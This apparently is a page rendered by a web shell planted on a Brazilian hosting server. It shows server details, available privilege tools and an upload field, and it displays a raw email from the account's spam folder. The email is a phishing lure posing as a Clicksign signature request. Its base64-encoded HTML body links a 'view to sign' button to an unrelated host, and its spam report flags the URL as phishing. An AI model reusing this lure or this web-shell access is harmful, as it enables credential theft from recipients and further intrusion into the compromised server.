| Server IP : 162.214.74.102 / Your IP : 216.73.216.251 Web Server : Apache System : Linux dedi-4363141.lrsys.com.br 3.10.0-1160.119.1.el7.tuxcare.els25.x86_64 #1 SMP Wed Oct 1 17:37:27 UTC 2025 x86_64 User : lrsys ( 1015) PHP Version : 5.6.40 Disable Function : exec,passthru,shell_exec,system MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /home/lrsys/./././././mail/.spam/new/ |
Upload File : |
Return-Path: <clicksign@starts04d.netcorex.lat>
Delivered-To: lrsys+spam@dedi-4363141.lrsys.com.br
Received: from dedi-4363141.lrsys.com.br
by dedi-4363141.lrsys.com.br with LMTP
id aLtBGB+r1mm1AQAAIWsJAg
(envelope-from <clicksign@starts04d.netcorex.lat>)
for <lrsys+spam@dedi-4363141.lrsys.com.br>; Wed, 08 Apr 2026 16:23:11 -0300
Return-path: <clicksign@starts04d.netcorex.lat>
Envelope-to: info@lrsys.com.br
Delivery-date: Wed, 08 Apr 2026 16:23:11 -0300
Received: from starts04d.netcorex.lat ([5.223.87.25]:49214)
by dedi-4363141.lrsys.com.br with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.99.1)
(envelope-from <clicksign@starts04d.netcorex.lat>)
id 1wAYUU-000000000K2-1UTA
for info@lrsys.com.br;
Wed, 08 Apr 2026 16:23:11 -0300
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple;
d=starts04d.netcorex.lat; s=default; t=1775676136;
bh=xsUbJWTlTXnlqUFcDogoUGSf5AHXHOm1bld9wkxuBfw=;
h=From:To:Reply-To:Date:Subject:From;
b=G4qoHy3F+5Dm4MOFsnHOZktVwhkAE/QojMxLrg22BiYtykWuStfwVcu4MqnMT/kVv
3ILJJFQkCsNWD9Rb/uKflwOeO8KkkuuamJv4crLXXgZjNICftfeLB6kvgLGtPuzuug
vb7x7jWYFcQ/qo5eUQuY7c/fusr40MAih+sYoaUSolq31+hXOtq9rR0Rbq3yChOeit
/sqRnsyIsXigTPNZScGewp7fbh3JzXFl7vkCsxkA/muLjfBqn6GBcgYIAiWOvWCko6
8qizvtgyg4qaGWRhM1/HcSHotct96fPMAyPSlj6U4uzvWplLIY4QNcLGcrzTjUXyw6
duh9LsAVf1sJg==
From: "=?UTF-8?B?Q2xpY2tTaWdu?=" <clicksign@starts04d.netcorex.lat>
To: info@lrsys.com.br
Content-Type: multipart/alternative; boundary="M9KaYyuTF=_VaNu7ip1tjG91pCJ2IcUKmi"
MIME-Version: 1.0
Reply-To: 3qevb4@starts04d.netcorex.lat
Date: Wed, 8 Apr 2026 16:22:16 -0300
Message-Id: <20260408192216.6B15025368@starts04d.netcorex.lat>
X-Spam-Status: Yes, score=14.7
X-Spam-Score: 147
X-Spam-Bar: ++++++++++++++
X-Spam-Report: Spam detection software, running on the system "dedi-4363141.lrsys.com.br",
has identified this incoming email as possible spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: An HTML viewer is required to see this message Solicita__o
de Assinatura Clicksign Solicita__o de Assinatura
Content analysis details: (14.7 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: netcorex.lat]
2.5 URIBL_DBL_PHISH Contains a Phishing URL listed in the Spamhaus
DBL blocklist
[URIs: netcorex.lat]
1.3 RCVD_IN_BL_SPAMCOP_NET RBL: Received via a relay in
bl.spamcop.net
[Blocked - see <https://www.spamcop.net/bl.shtml?5.223.87.25>]
2.7 RCVD_IN_PSBL RBL: Received via a relay in PSBL
[5.223.87.25 listed in psbl.surriel.com]
5.0 BAYES_99 BODY: Bayes spam probability is 99 to 100%
[score: 1.0000]
1.0 BAYES_999 BODY: Bayes spam probability is 99.9 to 100%
[score: 1.0000]
0.0 RCVD_IN_VALIDITY_RPBL_BLOCKED RBL: ADMINISTRATOR NOTICE: The
query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[5.223.87.25 listed in bl.score.senderscore.com]
0.0 RCVD_IN_VALIDITY_CERTIFIED_BLOCKED RBL: ADMINISTRATOR NOTICE:
The query to Validity was blocked. See
https://knowledge.validity.com/hc/en-us/articles/20961730681243
for more information.
[5.223.87.25 listed in sa-accredit.habeas.com]
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
-0.0 SPF_PASS SPF: sender matches SPF record
0.8 MPART_ALT_DIFF BODY: HTML and text parts are different
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from
author's domain
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.0 FROM_EXCESS_BASE64 From: base64 encoded unnecessarily
1.5 FROM_FMBLA_NEWDOM From domain was registered in last 7 days
X-Spam-Flag: YES
Subject: ***SPAM*** =?UTF-8?B?QXNzaW5hciBkb2N1bWVudG86IERPQ1VNRU5UTy5kb2N4?=
This is a multi-part message in MIME format
--M9KaYyuTF=_VaNu7ip1tjG91pCJ2IcUKmi
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline
An HTML viewer is required to see this message
--M9KaYyuTF=_VaNu7ip1tjG91pCJ2IcUKmi
Content-Type: text/html; charset="utf-8"
Content-Transfer-Encoding: base64
Content-Disposition: inline
PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9InB0LWJyIj4KPGhlYWQ+CiAgPG1ldGEgY2hhcnNl
dD0iVVRGLTgiPgogIDx0aXRsZT5Tb2xpY2l0YSYjMjMxOyYjMjI3O28gZGUgQXNzaW5hdHVyYTwv
dGl0bGU+CjwvaGVhZD4KPGJvZHkgc3R5bGU9Im1hcmdpbjowO3BhZGRpbmc6MDtiYWNrZ3JvdW5k
LWNvbG9yOiNmN2Y3Zjc7Zm9udC1mYW1pbHk6QXJpYWwsIHNhbnMtc2VyaWY7Ij4KICA8dGFibGUg
d2lkdGg9IjEwMCUiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgYm9yZGVyPSIwIiBz
dHlsZT0iYmFja2dyb3VuZC1jb2xvcjojZjdmN2Y3OyI+CiAgICA8dHI+CiAgICAgIDx0ZCBhbGln
bj0iY2VudGVyIj4KICAgICAgICA8dGFibGUgd2lkdGg9IjYwMCIgY2VsbHBhZGRpbmc9IjAiIGNl
bGxzcGFjaW5nPSIwIiBib3JkZXI9IjAiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiNmZmZmZmY7
Ij4KICAgICAgICAgIDwhLS0gSGVhZGVyIC0tPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8
dGQgYWxpZ249ImNlbnRlciIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6I2VjNTYxYztwYWRkaW5n
OjIwcHg7Ij4KICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iY29sb3I6I2ZmZmZmZjtmb250LXNp
emU6MjBweDtmb250LXdlaWdodDpib2xkOyI+Q2xpY2tzaWduPC9zcGFuPgogICAgICAgICAgICA8
L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDwhLS0gQ29ycG8gcHJpbmNpcGFsIC0tPgog
ICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQgc3R5bGU9InBhZGRpbmc6MzBweDt0ZXh0LWFs
aWduOmNlbnRlcjsiPgogICAgICAgICAgICAgIDxoMiBzdHlsZT0iZm9udC1zaXplOjE4cHg7bWFy
Z2luLWJvdHRvbToyMHB4O2NvbG9yOiMwMDAwMDA7Ij5Tb2xpY2l0YSYjMjMxOyYjMjI3O28gZGUg
QXNzaW5hdHVyYTwvaDI+CiAgICAgICAgICAgICAgPHAgc3R5bGU9ImNvbG9yOiMwMDAwMDA7Zm9u
dC1zaXplOjE0cHg7bWFyZ2luLWJvdHRvbTozMHB4OyI+CiAgICAgICAgICAgICAgICBGYWNpbGl0
ZSBzdWEgYXNzaW5hdHVyYSwgYXNzaW5lIGVtIGF0JiMyMzM7IDQgaG9yYXMgZSBvIHRva2VuIHNl
ciYjMjI1OyB2YWxpZGFkbyBhdXRvbWF0aWNhbWVudGUuCiAgICAgICAgICAgICAgPC9wPgogICAg
ICAgICAgICAgIDxhIGhyZWY9ImhUVFBzOi8vMTY4LjE3OS4xNjkuMTkyLmhvc3Quc2VjdXJlc2Vy
dmVyLm5ldC9RMjBKeGhwL1hLYTJhSGxwdkhrSzVXMi9FbTBCdC8wMzMyNzI2Ny9ZZFJnVUtpYlFW
d3BITHBUR0RpMi8zODEzMDQwMjA0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjojNjMwMDNjO2Nv
bG9yOiNmZmZmZmY7cGFkZGluZzoxMHB4IDIwcHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Ym9yZGVy
LXJhZGl1czoyMHB4O2ZvbnQtd2VpZ2h0OmJvbGQ7Zm9udC1zaXplOjE0cHg7ZGlzcGxheTppbmxp
bmUtYmxvY2s7bWFyZ2luLWJvdHRvbTozMHB4OyI+VmlzdWFsaXphciBwYXJhIGFzc2luYXI8L2E+
CgogICAgICAgICAgICAgIDxociBzdHlsZT0iYm9yZGVyOm5vbmU7Ym9yZGVyLXRvcDoxcHggc29s
aWQgI2RkZDttYXJnaW46MzBweCAwOyI+CgogICAgICAgICAgICAgIDxwIHN0eWxlPSJmb250LXdl
aWdodDpib2xkO2NvbG9yOiMwMDAwMDA7bWFyZ2luLWJvdHRvbTo1cHg7Ij5Eb2N1bWVudG88L3A+
CiAgICAgICAgICAgICAgPHAgc3R5bGU9ImZvbnQtc2l6ZToxNHB4O2NvbG9yOiMwMDAwMDA7bWFy
Z2luOjAgMCAzMHB4IDA7Ij45NzcyODkgLSBET0NVTUVOVE8uNlNBVldMQVNRRFBEWkZXaW5mb0Bs
cnN5cy5jb20uYnIuZG9jeDwvcD4KCiAgICAgICAgICAgICAgPGhyIHN0eWxlPSJib3JkZXI6bm9u
ZTtib3JkZXItdG9wOjFweCBzb2xpZCAjZGRkO21hcmdpbjozMHB4IDA7Ij4KICAgICAgICAgICAg
ICAKICAgICAgICAgICAgICA8cCBzdHlsZT0iZm9udC1zaXplOjE0cHg7Y29sb3I6IzAwMDAwMDsi
PkRhdGEgbGltaXRlIHBhcmEgYXNzaW5hdHVyYTogPHN0cm9uZz4wOC8wNC8yMDI2PC9zdHJvbmc+
LjwvcD4KICAgICAgICAgICAgICAKICAgICAgICAgICAgPC90ZD4KICAgICAgICAgIDwvdHI+CiAg
ICAgICAgICA8IS0tIFJvZGFwJiMyMzM7IC0tPgogICAgICAgICAgPHRyPgogICAgICAgICAgICA8
dGQgc3R5bGU9InBhZGRpbmc6MzBweDtmb250LXNpemU6MTFweDtjb2xvcjojNDQ0NDQ0O2JhY2tn
cm91bmQtY29sb3I6I2Y5ZjlmOTt0ZXh0LWFsaWduOmxlZnQ7Ij4KICAgICAgICAgICAgICA8cCBz
dHlsZT0ibWFyZ2luOjAgMCAxMHB4IDA7Ij48c3Ryb25nPk4mIzIyNztvIGNvbXBhcnRpbGhlIGVz
dGUgZS1tYWlsPC9zdHJvbmc+PGJyPgogICAgICAgICAgICAgIFBhcmEgc3VhIHNlZ3VyYW4mIzIz
MTthLCBuJiMyMjc7byBlbmNhbWluaGUgZXN0ZSBlLW1haWwgcGFyYSBuaW5ndSYjMjMzO20uPC9w
PgoKICAgICAgICAgICAgICA8cCBzdHlsZT0ibWFyZ2luOjAgMCAxMHB4IDA7Ij48c3Ryb25nPlNv
YnJlIGEgQ2xpY2tzaWduPC9zdHJvbmc+PGJyPgogICAgICAgICAgICAgIEEgQ2xpY2tzaWduICYj
MjMzOyB1bWEgcGxhdGFmb3JtYSBkZSBhc3NpbmF0dXJhIGVsZXRyJiMyNDQ7bmljYSBkZSBkb2N1
bWVudG9zLiBBIHN1YSBhc3NpbmF0dXJhICYjMjMzOyByZWdpc3RyYWRhIGVtIHVtIGxvZyBhdWRp
dCYjMjI1O3ZlbCwgZSBzZXUgY29udGUmIzI1MDtkbyAmIzIzMzsgcHJvdGVnaWRvIHBvciB0cmFu
Y2EgZWxldHImIzI0NDtuaWNhIGUgY3JpcHRvZ3JhZmlhLjwvcD4KCiAgICAgICAgICAgICAgCgog
ICAgICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW4tdG9wOjIwcHg7dGV4dC1hbGlnbjpjZW50ZXI7
Y29sb3I6Izk5OTk5OTtmb250LXNpemU6MTBweDsiPlBvd2VyZWQgYnkgPHN0cm9uZz5DbGlja3Np
Z248L3N0cm9uZz48L3A+CiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICA8L3RyPgogICAgICAg
IDwvdGFibGU+CiAgICAgIDwvdGQ+CiAgICA8L3RyPgogIDwvdGFibGU+CjwvYm9keT4KPC9odG1s
Pgo=
--M9KaYyuTF=_VaNu7ip1tjG91pCJ2IcUKmi--